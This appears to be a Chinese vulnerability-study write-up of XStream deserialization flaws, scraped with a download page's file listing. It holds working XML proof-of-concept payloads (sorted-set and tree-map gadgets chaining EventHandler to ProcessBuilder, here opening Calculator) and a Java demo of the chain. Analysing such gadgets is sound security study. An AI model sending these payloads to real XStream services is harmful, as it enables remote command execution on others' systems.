# Xstream 反序列化漏洞分析
## what is Xstream
*Stream*是Java类库,用来将对象序列化成XML (JSON)或反序列化为对象
## How to use Xstream
### 1.ClassToXml
***TesttoXml.java***
```java
package com.L4G;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
class TestToXml {
public static void main(String [] args) {
Person person = new Person();
person.setAge(18);
person.setName("yds");
XStream xstream = new XStream(new DomDriver());
String xml = xstream.toXML(person);
System.out.println(xml);
}
}
```
### 2.XmlToClass
***XmltoTest***
```java
package com.L4G;
import com.thoughtworks.xstream.XStream;
import com.thoughtworks.xstream.io.xml.DomDriver;
import java.io.FileInputStream;
import java.io.FileNotFoundException;
public class TestToPerson {
public static void main(String[] args) throws FileNotFoundException {
FileInputStream xml = new FileInputStream("person.xml");
XStream xStream = new XStream(new DomDriver());
Person person = (Person)xStream.fromXML(xml);
System.out.println(person);
}
}
```
***person.xml***
```xml
<sorted-set>
<string>foo</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
```
## 漏洞分析
### 1.基于sorted-set
#### 影响范围:
xstream1.4.6,1.4.5,1.4.10
#### POC:
```xml
<sorted-set>
<string>yds</string>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
</sorted-set>
```
#### 分析
先看一下整个调用的过程,首先看一下官方文档
![image-20201117122256560](https://tva1.sinaimg.cn/large/0081Kckwly1gks1ymxxqaj30t604ltar.jpg)
Xstream是允许通过\<dynamic-proxy\>去作为一个动态代理的,下面把真的导致反序列化漏洞的代码单独拉出来写一个demo
```java
package com.L4G;
import com.sun.beans.finder.MethodFinder;
import sun.reflect.misc.MethodUtil;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
//把最终导致了反序列化漏洞的代码单独拿出来
public class Demo {
public static void main(String[] args) {
Comparable<String> realSubject = new RealSubject(); //1
InvocationHandler handler = new DynamicProxy(realSubject); //2
Comparable<String> proxy = (Comparable<String>) Proxy.newProxyInstance(handler.getClass().getClassLoader(), realSubject.getClass().getInterfaces(), handler);//3
System.out.println(proxy.getClass().getName());
proxy.compareTo(null);
}
}
class RealSubject implements Comparable {
@Override
public int compareTo(Object o) {
return 0;
}
}
class DynamicProxy implements InvocationHandler {
Comparable realSubject;
String action = "start";
Object target;
public DynamicProxy(Comparable<String> realSubject) {
this.realSubject = realSubject;
}
public Object invoke(Object object, Method method, Object[] args) throws Throwable {
this.realSubject.compareTo(args);
invokeInternal(object, method, args);
return null;
} //4
public Object invokeInternal(Object proxy, Method method, Object[] arguments) throws Exception {
action = "start";
target = new ProcessBuilder("open", "/System/Applications/Calculator.app");
Method method1 = getMethod(target.getClass(), action, new Class[]{});
return MethodUtil.invoke(method1, target, new Object[]{});
}
public Method getMethod(Class<?> type, String name, Class<?>... args){
try {
return MethodFinder.findMethod(type, name, args);
}
catch (NoSuchMethodException exception) {
return null;
}
}
}
```
这就是一个典型的JAVA中动态代理的写法,按照句末的编号来解释一下整个代码
1)因为最终需要调用 ***compareTo*** 方法所以这里的 ***RealSubject*** 需要继承 ***Comparable*** 接口
2)创建 ***InvocationHandler*** 实例 ***handler***,用来处理 ***Proxy*** 所有方法调用
3)生成代理对象;***handler*** 指的是一个 InvocationHandler 对象,表示的是当我这个动态代理对象在调用方法的时候,会关联到哪一个 InvocationHandler 对象上;***realSubject.getClass().getInterfaces()*** 指的是将要给我需要代理的对象提供一组什么接口,如果我提供了一组接口给它,那么这个代理对象就宣称实现了该接口(多态),这样我就能调用这组接口中的方法了
4)这里的invoke方法就是反射中的调用了,这里进行了 overwrite
看一下具体的其中具体的标签代表什么
- dynamic-proxy 代表一个代理实例
- dynamic-proxy 代表的代理实例调用了Comparable接口
- dynamic-proxy中有一个handler
- handler中有两个参数,target 为 ProcessBuilder, action 为 start
再看整个漏洞触发流程
- Unmarshal函数对整个xml进行解析,整个对象其实就是一个sort-set的实例对象,其中调用了TreeMap.putAll,而这里调用了$Proxy0.compareTo才是真正触发反序列化漏洞的原因(不是compareTo函数导致的命令执行,是条件但不是直接原因)
![image-20201117123132276](https://tva1.sinaimg.cn/large/0081Kckwly1gks27jm0frj30cj0gd7ep.jpg)
- 因为要调用compareTo方法,动态代理就需要去调用invoke方法进行反射调用,这里就是触发的地方了`EventHandler.invoke -> EventHandler.invokeInternal->MethodUtil.invoke`
- 来看一下到达`MethodUtil.invoke`时,各参数的具体内容
![image-20201117123813461](https://tva1.sinaimg.cn/large/0081Kckwly1gks2ehsz9oj30ie03n75s.jpg)
这里的TargetMethod就是上面action中赋的start, 而 target 就是之前赋值的 java.lang.ProcessBuilder,这样以来就成功执行了java.lang.ProcessBuilder
![image-20201117123820501](https://tva1.sinaimg.cn/large/0081Kckwly1gks2emeyksj30io050acd.jpg)
### 2.基于tree-map
#### 影响范围:
1.4.x
#### POC
```xml
<tree-map>
<entry>
<string>key</string>
<string>value</string>
</entry>
<entry>
<dynamic-proxy>
<interface>java.lang.Comparable</interface>
<handler class="java.beans.EventHandler">
<target class="java.lang.ProcessBuilder">
<command>
<string>open</string>
<string>/System/Applications/Calculator.app</string>
</command>
</target>
<action>start</action>
</handler>
</dynamic-proxy>
<string>good</string>
</entry>
</tree-map>
```
没有合适的资源?快使用搜索试试~ 我知道了~
资源推荐
资源详情
资源评论
收起资源包目录
JAVA漏洞学习复现笔记,.zip (171个子文件)
$PRODUCT_WORKSPACE_FILE$ 489B
DynamicProxy.class 2KB
ShiroConfig.class 2KB
ShiroConfig.class 2KB
LoginController.class 2KB
LoginController.class 2KB
MyRealm.class 1KB
MyRealm.class 1KB
Demo.class 1KB
TestToPerson.class 1KB
TestToXml.class 1020B
Person.class 997B
SpringShiroApplication.class 760B
SpringShiroApplication.class 760B
RealSubject.class 424B
mvnw.cmd 6KB
mvnw.cmd 6KB
maven-wrapper.jar 50KB
maven-wrapper.jar 50KB
MavenWrapperDownloader.java 5KB
MavenWrapperDownloader.java 5KB
Demo.java 2KB
ShiroConfig.java 1KB
ShiroConfig.java 1KB
LoginController.java 1KB
LoginController.java 1KB
MyRealm.java 782B
MyRealm.java 782B
TestToPerson.java 502B
Person.java 471B
TestToXml.java 411B
SpringShiroApplication.java 334B
SpringShiroApplication.java 334B
spring-shiro.kotlin_module 16B
spring-shiro.kotlin_module 16B
spring-shiro.kotlin_module 16B
spring-shiro.kotlin_module 16B
LICENSE 1KB
Readme.md 7KB
HELP.md 781B
HELP.md 781B
README.md 51B
mvnw 10KB
mvnw 10KB
maven-wrapper.properties 218B
maven-wrapper.properties 218B
application.properties 0B
application.properties 0B
application.properties 0B
application.properties 0B
workspace.xml 22KB
workspace.xml 22KB
workspace.xml 6KB
pom.xml 2KB
pom.xml 2KB
pom.xml 1KB
compiler.xml 807B
compiler.xml 807B
misc.xml 806B
Maven__org_springframework_boot_spring_boot_starter_validation_2_2_11_RELEASE.xml 764B
Maven__org_springframework_boot_spring_boot_starter_validation_2_2_11_RELEASE.xml 764B
Maven__org_springframework_boot_spring_boot_starter_logging_2_2_11_RELEASE.xml 743B
Maven__org_springframework_boot_spring_boot_starter_logging_2_2_11_RELEASE.xml 743B
Maven__org_springframework_boot_spring_boot_starter_tomcat_2_2_11_RELEASE.xml 736B
Maven__org_springframework_boot_spring_boot_starter_tomcat_2_2_11_RELEASE.xml 736B
Maven__org_springframework_boot_spring_boot_autoconfigure_2_2_11_RELEASE.xml 729B
Maven__org_springframework_boot_spring_boot_autoconfigure_2_2_11_RELEASE.xml 729B
Maven__com_fasterxml_jackson_module_jackson_module_parameter_names_2_10_5.xml 724B
Maven__com_fasterxml_jackson_module_jackson_module_parameter_names_2_10_5.xml 724B
Maven__org_springframework_boot_spring_boot_starter_json_2_2_11_RELEASE.xml 722B
Maven__org_springframework_boot_spring_boot_starter_json_2_2_11_RELEASE.xml 722B
Maven__org_springframework_boot_spring_boot_starter_web_2_2_11_RELEASE.xml 715B
Maven__org_springframework_boot_spring_boot_starter_web_2_2_11_RELEASE.xml 715B
Maven__org_springframework_boot_spring_boot_starter_2_2_11_RELEASE.xml 687B
Maven__org_springframework_boot_spring_boot_starter_2_2_11_RELEASE.xml 687B
Maven__com_fasterxml_jackson_datatype_jackson_datatype_jsr310_2_10_5.xml 683B
Maven__com_fasterxml_jackson_datatype_jackson_datatype_jsr310_2_10_5.xml 683B
Maven__com_fasterxml_jackson_datatype_jackson_datatype_jdk8_2_10_5.xml 669B
Maven__org_hibernate_validator_hibernate_validator_6_0_21_Final.xml 669B
Maven__com_fasterxml_jackson_datatype_jackson_datatype_jdk8_2_10_5.xml 669B
Maven__org_hibernate_validator_hibernate_validator_6_0_21_Final.xml 669B
Maven__org_springframework_spring_expression_5_2_10_RELEASE.xml 653B
Maven__org_springframework_spring_expression_5_2_10_RELEASE.xml 653B
Maven__org_apache_tomcat_embed_tomcat_embed_websocket_9_0_39.xml 648B
Maven__org_apache_tomcat_embed_tomcat_embed_websocket_9_0_39.xml 648B
Maven__com_fasterxml_jackson_core_jackson_annotations_2_10_5.xml 639B
Maven__com_fasterxml_jackson_core_jackson_annotations_2_10_5.xml 639B
Maven__org_springframework_spring_context_5_2_10_RELEASE.xml 632B
Maven__org_springframework_spring_context_5_2_10_RELEASE.xml 632B
Maven__org_springframework_boot_spring_boot_2_2_11_RELEASE.xml 631B
Maven__org_springframework_boot_spring_boot_2_2_11_RELEASE.xml 631B
Maven__org_springframework_spring_webmvc_5_2_10_RELEASE.xml 625B
Maven__org_springframework_spring_webmvc_5_2_10_RELEASE.xml 625B
Maven__jakarta_validation_jakarta_validation_api_2_0_2.xml 621B
Maven__jakarta_annotation_jakarta_annotation_api_1_3_5.xml 621B
Maven__jakarta_validation_jakarta_validation_api_2_0_2.xml 621B
Maven__jakarta_annotation_jakarta_annotation_api_1_3_5.xml 621B
Maven__com_fasterxml_jackson_core_jackson_databind_2_10_5.xml 618B
Maven__org_springframework_spring_beans_5_2_10_RELEASE.xml 618B
Maven__com_fasterxml_jackson_core_jackson_databind_2_10_5.xml 618B
共 171 条
- 1
- 2
资源评论
处处清欢
- 粉丝: 2104
- 资源: 2864
上传资源 快速赚钱
- 我的内容管理 展开
- 我的资源 快来上传第一个资源
- 我的收益 登录查看自己的收益
- 我的积分 登录查看自己的积分
- 我的C币 登录后查看C币余额
- 我的收藏
- 我的下载
- 下载帮助
最新资源
- 昆明市2005-2024年近20年历史气象数据下载
- Android studio源码,记事本,可做备忘录 纯安卓项目本地数据库sqlite 功能:登陆注册 增删改 注销 项目包含 源码+apk文件+演示视频 温馨提示~ 由于项目具有复制性,出不 ,不包
- (源代码+论文+PPT模板+配置方法)租赁乐享生活助手【java毕业设计】.zip
- java毕业设计】租房宝智能信息管家(源代码+论文+配置方法+PPT模板).zip
- 【java毕业设计】房源轻松搜管理平台(源代码+论文+配置方法+PPT模板).zip
- (源代码+论文+PPT模板+配置方法)房源直通车管理系统【java毕业设计】.zip
- (论文+配置方法+源代码+PPT模板)租赁专家房产指南(java毕业设计).zip
- 【java毕业设计】租房好帮手信息管理系统(源代码+论文+配置方法+PPT模板).zip
- (论文+PPT模板+配置方法+源代码)租房雷达信息平台(java毕业设计).zip
- (论文+PPT模板+配置方法+源代码)租赁管家全方位服务(java毕业设计).zip
- java毕业设计丨租房优选智能助手(论文+源代码+PPT模板).zip
- 拉萨2005-2024年近20年历史气象数据下载
- 【java毕业设计】房源小秘书管理工具(源代码+论文+配置方法+PPT模板).zip
- (论文+配置方法+源代码+PPT模板)租房帮手信息管理站(java毕业设计).zip
- (论文+PPT模板+配置+源代码)租赁E家智慧平台【java毕业设计】.zip
- (源代码+论文+PPT模板+配置方法)房源优选智能匹配器【java毕业设计】.zip
资源上传下载、课程学习等过程中有任何疑问或建议,欢迎提出宝贵意见哦~我们会及时处理!
点击此处反馈
安全验证
文档复制为VIP权益,开通VIP直接复制
信息提交成功